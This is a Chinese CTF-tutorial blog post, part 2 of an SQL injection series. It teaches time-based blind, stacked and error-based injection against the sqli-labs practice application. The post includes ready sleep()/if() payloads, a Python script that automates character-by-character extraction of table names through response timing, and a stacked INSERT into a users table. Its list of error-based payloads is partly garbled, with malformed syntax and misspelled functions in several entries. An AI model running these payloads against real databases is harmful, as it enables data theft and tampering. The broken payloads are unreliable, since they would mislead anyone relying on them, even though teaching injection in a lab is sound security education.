前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >WEB系列(2)—SQL注入(下)

WEB系列(2)—SQL注入(下)

作者头像
山深有杏
发布2024-01-30 14:36:44
1940
发布2024-01-30 14:36:44
举报
文章被收录于专栏:CTF新手教程

接上篇

0x00 延时注入(基于时间的盲注)

盲注还是挺有意思的,不管你输入什么,页面都显示正常。

我们输入一个单引号,和输入一堆单引号的结果是一样的

1)判断注入类型

那么我们该如何判断注入类型呢

我们可以利用sleep()函数来进行判断

  • id=1′ and sleep(5) –+
  • id=1” and sleep(5) –+
  • id=1 and sleep(5) –+
  • id=1′) and sleep(5) –+
  • id=1″ and sleep(5) –+

如果注入类型匹配到,页面会延迟5秒响应

当我们输入?id=1′ and sleep(5) –+ 的时候,页面延迟5s响应。所以就是字符型单引号闭合的注入

2)爆表名字段名

从上面判断注入类型我们知道,延时注入是根据页面响应时间来判断查询是正确还是错误,因此,爆表名和字段名只需要在布尔注入基础上加上时间条件即可。

我们可以通过if()和sleep()函数来进行注入

if()函数
代码语言:javascript
复制
if(判断语句,正确返回值,错误返回值)

if()函数有三个参数,第一个参数是判断语句,这个很好理解;第二个参数是正确返回值,这里你可以设置一个数值,比如设置5,那么当判断语句正确,if()函数会返回5;第三个参数是错误返回值,当判断语句错误会返回响应的值。

我们可以将if()函数和sleep()函数结合在一起

代码语言:javascript
复制
if((select length(database()))>5,sleep(5),1)
sleep(if((select length(database()))>5,5,0))

上面两个写法效果是一样的,都是查询数据库名长度大于5时,页面延时5s响应

爆表名

爆表名和之前的布尔注入差不多,只不过是把判断条件写在if()里

例:

代码语言:javascript
复制
?id=1' and if((select mid(TABLE_NAME,1,1) from information_schema.tables where table_schema=database() limit 0,1)='a',1,sleep(5)) --+

我们可以看一下右下角的延时时间,4s左右

再测试一下判断错误的情况

代码语言:javascript
复制
?id=1' and if((select mid(TABLE_NAME,1,1) from information_schema.tables where table_schema=database() limit 0,1)='b',1,sleep(5)) --+

这次是9s左右

我们根据页面响应时间来判断语句是否正确,很明显9s的响应时间是因为执行了sleep(5),4s的响应时间说明我们的判断语句是正确的,也就是说,第一张表的第一个字符是’a’

爆字段名和爆表名一样,稍微修改语句即可,这里不再细讲

3)脚本注入

盲注也是可以使用脚本来进行注入的,只需要将布尔注入的脚本修改一下

代码语言:javascript
复制
import requests
import time
import re

url = "http://10.211.55.4/sqli-labs-master/Less-9/?id=1"
sqllist = "_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{},1234567890"

def getKey():
    result = ''
    for j in range(1,40):
        for i in sqllist:
            time.sleep(0.1)
            payload = "1' and if((select mid(TABLE_NAME,%d" %j + ",1) from information_schema.tables where table_schema=database() limit 0,1)='" + i + "',sleep(5),1) --+"
            data = url + payload
            response = requests.get(data)
            #print(response.elapsed.seconds)
            if response.elapsed.seconds > 5:
                result += i
                print(result)
                break
            #print(payload)
    print(result)

if __name__ == '__main__' :
    getKey()

执行效果如下

0x01 堆叠注入

1)什么是堆叠注入

堆叠注入(Stacked injections)从名词的含义就可以看到应该是一堆 sql 语句一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。

2)例子

先判断注入类型,这个是单引号闭合的字符型注入,因此猜测后端的注入语句和我们上篇的Less1是一样的

我们可以用下面的语句进行测试,看看是否存在堆叠注入,这个语句是在users表中插入数据

代码语言:javascript
复制
?id=1';insert into users(id,username,password) values ('38','less38','hello')--+

执行完没有报错,我们上数据库中看一下

数据已经成功插入表中

0x02 报错注入

报错注入主要是利用bug和函数报错来进行注入,有很多限制条件,这里只列举一些例子

1 报错注入(bug报错)

count(),rand,group by三个同时用会报错(限表中至少有三条以上数据)

代码语言:javascript
复制
select concat(floor(rand(0)*2),"-----",(select database())) as xx, count(1) from admin group by xx;
2 报错注入(函数报错)
2.1 通过floor报错,注入语句如下:  
代码语言:javascript
复制
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.2 通过ExtractValue报错,注入语句如下:
代码语言:javascript
复制
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
2.3 通过UpdateXml报错,注入语句如下:
代码语言:javascript
复制
and 1=(updatexml(1,concat(0x3a,(select user())),1))
2.4 通过NAME_CONST报错,注入语句如下:
代码语言:javascript
复制
and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
2.5 通过join报错,注入语句如下:
代码语言:javascript
复制
select * from(select * from mysql.user ajoin mysql.user b)c;
2.6 通过exp报错,注入语句如下:
代码语言:javascript
复制
and exp(~(select * from (select user () ) a) );
2.7 通过GeometryCollection()报错,注入语句如下:
代码语言:javascript
复制
and GeometryCollection(()select *from(select user () )a)b );
2.8 通过polygon ()报错,注入语句如下:
代码语言:javascript
复制
and polygon (()select * from(select user ())a)b );
2.9 通过multipoint ()报错,注入语句如下:
代码语言:javascript
复制
and multipoint (()select * from(select user ())a)b );
2.10 通过multlinestring ()报错,注入语句如下:
代码语言:javascript
复制
and multlinestring (()select * from(select user ())a)b );
2.11 通过multpolygon ()报错,注入语句如下:
代码语言:javascript
复制
and multpolygon (()select * from(select user ())a)b );
2.12 通过linestring ()报错,注入语句如下:
代码语言:javascript
复制
and linestring (()select * from(select user())a)b );
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 延时注入(基于时间的盲注)
    • 1)判断注入类型
      • 2)爆表名字段名
        • if()函数
        • 爆表名
      • 3)脚本注入
      • 0x01 堆叠注入
        • 1)什么是堆叠注入
          • 2)例子
          • 0x02 报错注入
            • 1 报错注入(bug报错)
              • 2 报错注入(函数报错)
                • 2.1 通过floor报错,注入语句如下:  
                • 2.2 通过ExtractValue报错,注入语句如下:
                • 2.3 通过UpdateXml报错,注入语句如下:
                • 2.4 通过NAME_CONST报错,注入语句如下:
                • 2.5 通过join报错,注入语句如下:
                • 2.6 通过exp报错,注入语句如下:
                • 2.7 通过GeometryCollection()报错,注入语句如下:
                • 2.8 通过polygon ()报错,注入语句如下:
                • 2.9 通过multipoint ()报错,注入语句如下:
                • 2.10 通过multlinestring ()报错,注入语句如下:
                • 2.11 通过multpolygon ()报错,注入语句如下:
                • 2.12 通过linestring ()报错,注入语句如下:
            相关产品与服务
            数据库
            云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档